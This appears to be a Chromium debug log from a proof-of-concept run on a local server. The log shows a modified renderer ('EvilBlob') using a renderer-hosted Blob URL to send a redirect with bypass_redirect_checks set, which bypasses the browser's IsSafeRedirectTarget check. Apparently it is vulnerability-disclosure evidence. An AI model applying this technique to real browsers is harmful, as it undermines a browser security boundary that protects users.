[2680:2680:0516/175104.102163:ERROR:content/renderer/render_frame_impl.cc:4289] [POC][renderer] poc.html loaded at http://127.0.0.1:18080/poc.html, binding BlobURLStore via BrowserInterfaceBroker.
[2680:2680:0516/175104.102621:ERROR:content/renderer/render_frame_impl.cc:427] [POC][renderer] Registering renderer-hosted Blob at blob:http://127.0.0.1:18080/11111111-2222-3333-4444-555555555555
[2680:2680:0516/175104.145005:ERROR:content/renderer/render_frame_impl.cc:432] [POC][renderer] BlobURLStore.Register acked by browser.
[2595:2595:0516/175105.105904:INFO:CONSOLE:19] "[POC][page] Navigating iframe to blob:http://127.0.0.1:18080/11111111-2222-3333-4444-555555555555", source: http://127.0.0.1:18080/poc.html (19)
[2680:2680:0516/175105.108103:ERROR:content/renderer/render_frame_impl.cc:341] [POC][renderer] EvilBlob::Clone called by browser (BlobUrlRegistry::GetBlobFromUrl).
[2680:2680:0516/175105.117311:ERROR:content/renderer/render_frame_impl.cc:341] [POC][renderer] EvilBlob::Clone called by browser (BlobUrlRegistry::GetBlobFromUrl).
[2680:2680:0516/175105.118031:ERROR:content/renderer/render_frame_impl.cc:363] [POC][renderer] EvilBlob::Load called: renderer now owns the browser-process navigation URLLoaderClient remote.
[2680:2680:0516/175105.118370:ERROR:content/renderer/render_frame_impl.cc:401] [POC][renderer] Sending OnReceiveRedirect to browser with bypass_redirect_checks=true, new_url=data:text/html,<title>POC-REDIRECT-LANDED</title><h1>bypass_redirect_checks: IsSafeRedirectTarget bypassed via renderer-hosted Blob</h1>
[2595:2595:0516/175105.119473:ERROR:content/browser/loader/navigation_url_loader_impl.cc:1608] [POC][browser] OnReceiveRedirect: blob:http://127.0.0.1:18080/11111111-2222-3333-4444-555555555555 -> data:text/html,<title>POC-REDIRECT-LANDED</title><h1>bypass_redirect_checks: IsSafeRedirectTarget bypassed via renderer-hosted Blob</h1> | head->bypass_redirect_checks=1 | trusted bypass_redirect_checks_=0 | effective bypass=1 | IsSafeRedirectTarget()=0
[2595:2595:0516/175105.119511:ERROR:content/browser/loader/navigation_url_loader_impl.cc:1617] [POC][browser] *** IsSafeRedirectTarget BYPASSED via renderer-supplied head->bypass_redirect_checks; redirect to data:text/html,<title>POC-REDIRECT-LANDED</title><h1>bypass_redirect_checks: IsSafeRedirectTarget bypassed via renderer-hosted Blob</h1> would have been ERR_UNSAFE_REDIRECT ***
[2595:2595:0516/175105.122324:ERROR:content/browser/loader/navigation_url_loader_impl.cc:2257] [POC][browser] CreateTerminalNonNetworkLoaderFactory: building DataURLLoaderFactory for data:text/html,<title>POC-REDIRECT-LANDED</title><h1>bypass_redirect_checks: IsSafeRedirectTarget bypassed via renderer-hosted Blob</h1>
[2595:2595:0516/175108.102255:INFO:CONSOLE:19] "[POC][page] iframe cross-origin (expected for data:): Failed to read a named property 'href' from 'Location': Blocked a frame with origin "http://127.0.0.1:18080" from accessing a cross-origin frame.", source: http://127.0.0.1:18080/poc.html (19)